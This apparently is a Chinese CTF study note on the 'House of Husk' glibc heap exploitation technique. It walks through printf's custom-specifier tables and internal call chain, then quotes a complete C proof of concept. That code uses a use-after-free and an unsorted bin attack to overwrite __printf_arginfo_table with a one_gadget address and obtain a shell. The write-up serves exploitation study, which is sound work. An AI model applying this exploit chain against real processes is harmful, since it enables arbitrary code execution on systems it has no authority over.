House of husk

House Of Husk

在别的师傅的简历上看到了这个手法,发现自己没学过 : ( 来学习一下

利用简介

该方法是一种针对printf函数的攻击,printf 支持自定义格式化字符串,通过篡改printf有关 自定义格式化字符的相关结构(__printf_fuction_table__printf_arginfo_table)来劫持程序的执行流。

利用条件

  1. __printf_fuction_table 不为空
  2. 任意地址写(向__printf_arginfo_table 中写入,用以劫持程序执行流)

原理分析

基础知识

自定义格式化字符串

可以通过 int register_printf_specifier (int __spec, printf_function __func,printf_arginfo_size_function __arginfo) 函数来自定义一个格式化字符串。

比如下面这个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#define _GNU_SOURCE
#include <stdio.h>
#include <stdarg.h>
#include <printf.h>

/**
* binary_arginfo - Custom arginfo function for binary format specifier
* @info: Pointer to printf_info structure
* @n: Number of arguments
* @argtypes: Array to store argument types
*/
int binary_arginfo(const struct printf_info *info, size_t n, int *argtypes)
{
if(n > 0)
{
argtypes[0] = PA_INT; // The type of the argument is int
}
return 1; // Number of arguments used
}

/**
* binary_handler - Custom handler function for binary format specifier
* @stream: Output stream
* @info: Pointer to printf_info structure
* @args: Array of argument pointers
*/
int binary_handler(FILE *stream, const struct print_info *info, const void *const *args)
{
int val = *((const int *)args[0]); // Retrieve the integer argument
for(int i = sizeof(int) *8 -1; i >= 0; i--)
{
fputc((val >> i) & 1 ? '1' : '0', stream); // Print each bit
}
}

int main ()
{
// Register the custom binary format specifier 'b'
register_printf_specifier('b', binary_handler, binary_arginfo);

// Test the custom format specifier
int number = 15;
printf("Binary representation of %d is: %b\n", number, number);

return 0;
}

运行结果:

image-20251210232533346

register_printf_specifier的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/* Register FUNC to be called to format SPEC specifiers.  */
int
__register_printf_specifier (int spec, printf_function converter,
printf_arginfo_size_function arginfo)
{
if (spec < 0 || spec > (int) UCHAR_MAX)
{
__set_errno (EINVAL);
return -1;
}

int result = 0;
__libc_lock_lock (lock);

if (__printf_function_table == NULL)
{
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}

__printf_function_table = (printf_function **)(__printf_arginfo_table + UCHAR_MAX + 1);
}

__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;

out:
__libc_lock_unlock (lock);

return result;
}

分析以上代码可知,__printf_arginfo_table__printf_function_vable 位于位于同一个堆块上,大小均为 0x100 * 0x8 = 0x800。对于自定义格式化字符,两张表的索引都是改自定义格式化字符的ASCII值

printf 执行流程

printf 的执行流程为:printf -> __vfprintf_internal -> do_positional -> printf_positional -> __parse_one_specmb

或者:printf -> __vfprintf_internal -> do_positional -> printf_positional -> __parse_one_specwc

__vfprintf_internal 就是 vprintf,glibc 源码中有如下定义

# define vfprintf __vfprintf_internal

下面来逐步分析这个流程:

printf -> __vfprintf_internal

相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
int
__printf (const char *format, ...)
{
va_list arg;
int done;

va_start (arg, format);
done = __vfprintf_internal (stdout, format, arg, 0);
va_end (arg);

return done;
}

这个没什么说的

__vfprintf_internal -> do_positional

相关代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/* The function itself.  */
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{
......
/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional; // <--- 情况1

...


LABEL (width_asterics):
// ...
if (pos && *tmp == L_('$'))
/* The width comes from a positional parameter. */
goto do_positional; // <--- 情况2

...

LABEL (width):
// ...
if (*f == L_('$'))
/* Oh, oh. The argument comes from a positional parameter. */
goto do_positional; // <--- 情况3

LABEL (precision):
// ...
if (pos && *tmp == L_('$'))
/* The precision comes from a positional parameter. */
goto do_positional; // <--- 情况4

LABEL (form_unknown):
// ...
/* If we are in the fast loop force entering the complicated
one. */
goto do_positional; // <--- 情况6



...


/* Hand off processing for positional parameters. */
do_positional:
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep, mode_flags);

......
}

这一段代码利用的核心就在于能否进入do_positional,进入该函数有五种情况(这里不展开讲),我们要利用的是第一种情况,即:

__printf_function_table__printf_modifier_table != NULL__printf_va_arg_table 有一个非空即可

do_positional -> printf_positional

相关代码如下:(do_positional 部分在上文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static int
printf_positional (FILE *s, const CHAR_T *format, int readonly_format,
va_list ap, va_list *ap_savep, int done, int nspecs_done,
const UCHAR_T *lead_str_end,
CHAR_T *work_buffer, int save_errno,
const char *grouping, THOUSANDS_SEP_T thousands_sep,
unsigned int mode_flags)
{
....
/* Parse the format specifier. */
#ifdef COMPILE_WPRINTF
nargs += __parse_one_specwc (f, nargs, &specs[nspecs], &max_ref_arg);
#else
nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
#endif
}

....

}
printf_positional -> __parse_one_specmb & printf_positional -> __parse_one_specwc

相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
size_t
attribute_hidden
#ifdef COMPILE_WPRINTF
__parse_one_specwc (const UCHAR_T *format, size_t posn,
struct printf_spec *spec, size_t *max_ref_arg)
#else
__parse_one_specmb (const UCHAR_T *format, size_t posn,
struct printf_spec *spec, size_t *max_ref_arg)
#endif
{
.....

/* Get the format specification. */
spec->info.spec = (wchar_t) *format++;
spec->size = -1;
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
{
/* Find the data argument types of a built-in spec. */
spec->ndata_args = 1;

switch (spec->info.spec)
{
......

}

注意*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1, &spec->data_arg_type,&spec->size)这部分,调用了表中的函数(也就被改为ogg或者后门之类的部分)

POC 实例分析

该POC出处为 House of Husk - CTFするぞ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a38c

int main (void)
{
unsigned long libc_base;
char *a[10];
setbuf(stdout, NULL); // make printf quiet

/* leak libc */
a[0] = malloc(0x500); /* UAF chunk */
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a[3] = malloc(0x500); /* avoid consolidation */
free(a[0]);
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lxn", libc_base);

/* prepare fake printf arginfo table */
*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
//*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
//now __printf_arginfo_table['X'] = one_gadget;

/* unsorted bin attack */
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */

/* overwrite __printf_arginfo_table and __printf_function_table */
free(a[1]);// __printf_function_table => a heap_addr which is not NULL
free(a[2]);//__printf_arginfo_table => one_gadget

/* ignite! */
printf("%X", 0);

return 0;
}

简析

该POC模拟了一次 UAF 和 Unsorted Bin Attack。通过 Unsorted Bin Attack 修改 global_max_fastmain_arena + 88,使得基本上所有堆块free之后都会进入fast bin。 fast bin 中的堆块会按照 size 从 main_arena + 0x10 开始往下写,通过设定好的大小就能实现覆写__printf_arginfo_table为ogg

动态调试

修改global_max_fast

global_max_fast

__printf_arginfo_table

__printf_arginfo_table

可以看到偏移量为 0x2C0 的位置已经被写入了ogg。而 0x2C0 = 0x58 * 8 。0x58 刚好也是 X 的 ASCII 码。

__printf_fuction_table

__printf_fuction_table

最后执行printf("%X", 0); 即可 getshell